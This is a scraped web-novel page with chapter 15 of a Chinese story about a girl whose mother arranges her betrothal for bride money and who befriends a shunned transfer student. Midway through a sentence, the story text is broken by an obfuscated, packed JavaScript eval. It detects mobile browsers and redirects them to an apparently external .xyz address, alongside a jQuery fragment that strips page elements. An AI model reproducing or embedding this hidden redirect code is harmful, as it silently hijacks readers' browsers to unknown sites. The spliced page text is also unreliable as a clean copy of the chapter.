默认冷灰
24号文字
方正启体

15. 转校生

作者:湘水泽兰本书字数:K更新时间:
    从表妹家出来,天光已经稀薄得撑不起半分亮色。


    包兰芝忍不住想,南雁要是知道了她今天在表妹家,几乎是半推半就地应下了那门亲事,会怎么样?


    那丫头,早不是几年前那个打不还手,骂不还口的受气包了。


    自从差点病死又活过来,人就跟脱胎换骨似的,眼神里多了她看不懂的东西。


    万一闹起来……


    包兰芝用力地甩了甩头,像是要把这念头从耳朵里倒出去。发丝被风吹乱,粘在出了汗的额角。


    为了天贵!为了这个家!她在心里恶狠狠地对自己说,就算南雁要闹个天翻地覆,她也得把这窟窿堵上!


    这骂名,她背了!


    走到自家院门前,包兰芝的脚步顿住了。手抬起来,悬在半空,竟有些不敢去推。


    门里静悄悄的,死寂里透着一股让人心慌的意味。她鼓足勇气推开门,老旧的木轴发出不堪重负的呻吟。


    院子里,只有两只芦花老母鸡在墙角有一搭没一搭地刨着土,对她这个女主人爱答不理。


    她习惯性地踱到鸡窝边,伸手往那干草堆里一摸——空的。


    一股无名火“噌”地窜了上来。


    这瘟鸡!


    下蛋越来越不勤快,肯定是让南雁读书的事给妨的!都是那丫头,心野了,不肯安安分分替家里分担,才惹得家宅不宁!


    她抬脚,泄愤似的踹向鸡窝旁一个豁了口的破瓦盆。


    “哐当!”


    瓦盆滚出去老远,惊得两只母鸡“咯咯”乱叫,扑棱着翅膀逃开。


    回到屋里,炕席冰凉。


    包兰芝没点灯,就那么直挺挺地坐在炕沿上,看着窗外最后一点天光被墨色吞没。


    心里的慌,像水底的暗草,随着夜色疯长。


    终于,院门外传来了脚步声,踉踉跄跄,还伴着沉重的拖拽声。


    是南天贵回来了。


    少年单薄的脊梁几乎被那一大捆柴火压弯,脸煞白,嘴唇干裂,汗水浸透了粗布衣裳,紧紧贴在身上,混着草屑和泥土,狼狈得像刚从泥潭里捞出来。


    他看见屋门口的包兰芝,嘴一瘪:“妈……”


    这一声,像根针,瞬间扎破了包兰芝心里所有鼓胀的不安和愧疚。


    汹涌而出的,是几乎将她淹没的心疼。


    “哎哟我的儿!”她几步冲上去,手忙脚乱地帮儿子卸下那捆沉得离谱的柴火,触到他滚烫的额头,声音都变了调,“这是要了命了!快歇着,快歇着!妈给你倒水!”


    她转身冲到桌边,哆哆嗦嗦地倒了碗凉白开,递到南天贵嘴边。


    少年渴极了,咕咚咕咚大口灌下,水渍顺着下巴流到脖颈。


    包兰芝忙不迭地用袖子去擦他脸上的汗和灰,动作又快又急。


    “爸……爸还说我偷懒……”南天贵喘着粗气,委屈得眼圈发红,“这么多柴,我背了好几趟……都快累散架了……都怪南雁!要不是她非要读那个破书,我哪用受这个罪!”


    “别说了,儿啊,再忍忍。”包兰芝打断他,眼神闪烁不定,“妈正在想办法,就快好了……就快好了……”


    她嘴上安抚着儿子,心里那个念头变得更加坚硬冰冷。


    必须快!不能再拖了!


    又过了一会儿,院门再次被轻轻推开。


    南雁背着书包走了进来,书包带子断了一根,用颜色不一的绳子勉强系着。


    她没看炕上的母子,径直走到屋里那个属于她的狭窄空间,安静地把书包放下,然后转身走向灶台,准备像往常一样帮忙。


    包兰芝迁怒道:“不用你假好心!读你的圣贤书去!别在这儿碍手碍脚!”


    南雁伸向水瓢的手顿在了半空。


    她缓缓抬起头,目光平静地看向包兰芝。


    那双眼睛很清澈,像秋日雨后洗过的天空,里面没有包兰芝预想中的愤怒,也没有常见的委屈,就那么安安静静的,深不见底。


    这目光,反而让她心虚。


    她仓皇地扭过头,手下意识地捂住了胸口,那里堵得发慌。


    南雁什么也没说,默默地收回手,走到炕边,从书包里拿出课本,转身到了院子里。


    包兰芝隔着窗户看着那个背影,几乎难以察觉的悔意,像阴湿处的藤蔓,悄然爬上心头。


    她想起南雁更小一点的时候,会把自己舍不得吃的糖块偷偷塞到天贵手里。


    想起自己有一次病得起不来炕,是这丫头笨手笨脚地端来热水,用湿毛巾敷她的额头。


    想起无数个天色将晚的傍晚,她总是安静地站在门口,望着矿井的方向,等南秉义下工回来……


    但这柔软的触动,还没来得及蔓延,就被南天贵疲惫的呻吟和对那笔丰厚彩礼的迫切渴望,狠狠地压了下去。


    她攥紧了拳头,强迫自己坚定,只要定了亲,收了全款,一切就都会好起来的。


    天贵不用再受苦,这个家也能松快些。


    *


    清晨,矿区子弟小学,第三遍上课铃的余音还在空气里震颤,教室后墙的木门,便被推开了。


    班主任李老师率先走进来,一身洗得发白的藏青色卡其布中山装,扣子扣到最上面一颗,严谨得近乎刻板。


    她身后跟着一个陌生的男孩。


    原本如同沸水般的教室,霎时间万籁俱寂。


    几十道目光,带着孩童不加掩饰的好奇与审视,像密集的蛛网,瞬间缠绕在那个男孩身上,将他钉在了教室前方的空地上。


    那男孩站在李老师身侧,身量比班里最高的体育委员还高出小半头,骨架却纤细,肩膀窄窄的,透着少年人尚未舒展开的青涩。


    但最引人注目的,是他的模样。


    一头深棕色的头发,带着天然卷曲的弧度,清晨的阳光恰好从窗格斜射进来,在他发梢跳跃成细碎的金色光斑。


    皮肤是近乎透明的白皙,在这个普遍被风沙和灰打磨得粗糙黝黑的矿区孩子中间,显得格外突兀。


    鼻梁高挺得近乎锋利,眼窝深邃,嵌着一双纯黑色的眼瞳,眼尾微挑,勾勒出几分模糊而奇异的异域轮廓。


    他身上那件浅灰色的西装,料子挺括,领口系着个歪歪扭扭的深色领结,与教室里朴素氛围,形成了尖锐的对比。


    他站在那里,不像个学生,倒像是一株误闯入煤堆的白茉莉。


    “同学们,安静。”李老师扶了扶鼻梁上厚重的黑框眼镜,镜片后的目光锐利地扫过全场,声音跟她手里那根磨得光滑的旧教鞭一样,“这位是新转来的同学,谢承景。以后大家就是同班同学,要互相帮助,共同进步。不许欺负新同学,听到了吗?”


    “谢承景?”底下立刻有孩子小声嘀咕,声音没压住,在寂静的教室里扩散,“这名字咋恁怪?跟小人书里的少爷似的……”


    “你看他那头发,卷毛狗似的……”


    “还有那眼睛,凹进去那么深,吓人不……”


    “怕不是个洋鬼子崽子吧?”


    最后那句带着恶意揣测的低语,瞬间激荡开一片压抑的嗡嗡议论。


    孩子们的目光变了质,好奇被排斥取代,探究染上了鄙夷,几个坐在前排的男孩甚至毫不客气地伸手指点,眼神像是在打量集市上待售的牲口。


    谢承景微微垂着眼睑,浓密卷曲的睫毛像两把小扇子,在过于白皙的脸颊上投下淡淡的阴影,掩去了他眼底的所有情绪。


    只有那只紧紧攥着黑色皮质书包带子的手,泄露了他此刻的紧绷。


    他整个人,像一张被拉到极致的弓,沉默地承受着四面八方射来的无形箭矢,明明站在人群中央,却好像被隔绝在透明的壁垒之外,周身弥漫着落寞。


    李老师的教鞭在讲台上不轻不重地敲了一下,暂时压下了骚动。


    她的目光在教室里逡巡,寻找着空位:“谢承景你先找个空位坐下来。”


    谢承景似乎也看到了,靠后排确实有两个空位。


    他刚有移动的迹象,旁边一个穿着崭新花衣服的胖男孩立刻像是被蝎子蜇了,飞快地把自己的旧帆布书包往空凳子上一撂,下巴一扬,大声宣告:“这有人了!”


    另一个空位旁扎着羊角辫的女孩,更是连眼皮都没抬,直接扭过身子,故意和同桌高声说笑起来,用行动划清了界限。


    谢承景的脚步僵在了原地。


    他的嘴唇抿得发白,与他的肤色融为一体,更显得脆弱。


    黑曜石般的眸子里,飞快地掠过一丝难堪,像是光滑镜面上骤然裂开的细纹。


    进退维谷。


    他垂在身侧的另一只手,无意识地蜷缩了一下,掐住了裤缝。


    南雁坐在靠窗的第三排。


    她的同桌王刚,父亲工作调动,全家搬去了新矿区,旁边的位置已经空了三天。


    她安静地看着讲台旁那个成了众矢之的的男孩,看着他努力挺直却依旧显得单薄的脊背,看着他无声承受的窘迫与孤立。


    心里某个角落,像是被细小的针尖不轻不重地刺了一下。


    那种被目光剥离


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560568|186949||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,被归为“异类”的滋味,她太熟悉了。


    因为左腿那点不足,她走路的姿势总是不够利落,班里调皮的男生常在她背后夸张地模仿,偷偷给她起外号叫“跛脚雁”。


    在家里,她是夹在中间的女孩,上面有哥哥,下面有弟弟妹妹,新衣服永远是南天贵的,白面馒头也总是紧着儿子,她能捡哥哥的旧衣服穿已算不错。


    就连这上学的机会,也是父亲南秉义顶着母亲包兰芝的抱怨,硬争来的。


    若非如此,她恐怕会像无数矿区女孩一样,初中读不完就辍学回家,帮着家务,等着年纪到了,被一桩彩礼打发出去,重复着母亲那样一眼能看到头的人生。


    幸好……幸好,她得到了重新来过的机会,挣脱那既定的轨迹。


    可这个谢承景,他的“不同”太醒目,太具有攻击性了。


    深棕的卷发,过于立体的五官,那身与周遭环境割裂的穿着……他几乎是从天而降,就自带了一个醒目的靶子,连一丝缓冲和隐藏的余地都没有。


    李老师的脸色沉了下来,教鞭再次抬起,眼看就要强行指定座位。


    南雁站了起来。


    她的动作并不大,甚至有些轻,但这突如其来的起身,足以让全班的目光,又一次聚焦到她身上。


    惊讶,不解,疑惑她为何要招惹这个“麻烦”;还有几分看好戏的兴味,后排几个男生已经交换着暧昧的眼神,等着看她这个“跛脚雁”和“洋鬼子”凑在一起,会怎样被大家彻底孤立。


    南雁没有理会那些交织的视线。


    她走到过道边,伸出右手,用有些磨损的袖口,仔细擦了擦旁边空位上的浮灰。


    然后,抬起头,望向讲台方向:“老师,我这儿有空位。”


    李老师明显愣了一下,审视的目光在南雁平静的脸上停留片刻,终于点了点头,语气缓和了些许:“好。谢承景,你就坐南雁旁边。”


    谢承景也愣住了。


    他倏地抬起头,看向南雁,那双深邃的黑眼睛里先是闪过措手不及的惊讶,仿佛不敢相信这充满敌意的环境里,会伸出一只接纳的手。


    随即,那惊讶融化成一缕不敢确定的感激,如同在漫长寒夜里行走的人,骤然窥见了一星微弱的火光。


    他迟疑地迈开脚步,崭新的小皮鞋鞋底轻轻摩擦着粗糙的水泥地面,发出声响。


    在全班同学意味复杂的注视下,他一步步走到南雁旁边的空位,小心翼翼地坐下,尽量不碰到旁边的桌凳,把自己缩成尽可能小的一团。


    “谢谢。”他坐下时,用几乎只有两人能听见的气音说道,中文发音意外的标准。


    南雁没应声,只是点了下头,把摊开的语文课本往自己这边挪了少许,给他腾出更多桌面空间,然后便重新低下头,目光落在密密麻麻的文字上。


    她能清晰地感觉到周围那些若有若无的打量,像蛛网般粘腻,也能听到身后压低的窃窃私语。


    但她不在乎。


    就像重生回来后,刘小萍愿意帮她代卖攒下的鸡蛋,或许只是出于一点零星的不忍;此刻她让谢承景坐过来,也仅仅是因为,不想眼睁睁看着一个人,像上辈子无助的自己那样,孤立无援地站在人群中央,承受那些无关的审判。


    课间休息的铃声,如同赦令,瞬间引爆了教室。


    孩子们冲出教室,呼喝着涌向外面中央的空地,追逐打闹,弹珠滚地的清脆声、皮筋拍打地面的“啪啪”声、尖叫声笑骂声混杂在一起,喧嚣得几乎要掀翻屋顶。


    然而,这份热闹仿佛有一道无形的边界,在谢承景的座位旁戛然而止。


    没有人靠近他,甚至有人经过他座位时,会刻意绕一个小弧线,仿佛他周身散发着什么不洁的气息。


    谢承景独自坐在座位上,低着头,额前柔软的卷发垂下来,遮住了他的眉眼。


    他纤细修长的手指,反复地抠弄着木质课桌边缘一道深刻的裂纹。


    那是无数前任使用者留下的岁月痕迹,纵横交错,像一张写满了漠然与磨损的地图。


    他把自己缩在那片小小的阴影里。


    刘小萍像只灵巧的燕子,从人堆里钻过来,凑到南雁桌边,手里还攥着半块没吃完的麦芽糖。


    她偷偷扯了扯南雁的袖子,有些孩子气的好奇与担忧道:“雁子,你咋让他坐这儿了?你看他那样儿,头发卷卷的,眼珠子黑得吓人,鼻子那么高……怪里怪气的,跟他们说的洋鬼子一个样……”


    南雁收拾文具闻言,头也没抬:“空着也是空着。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)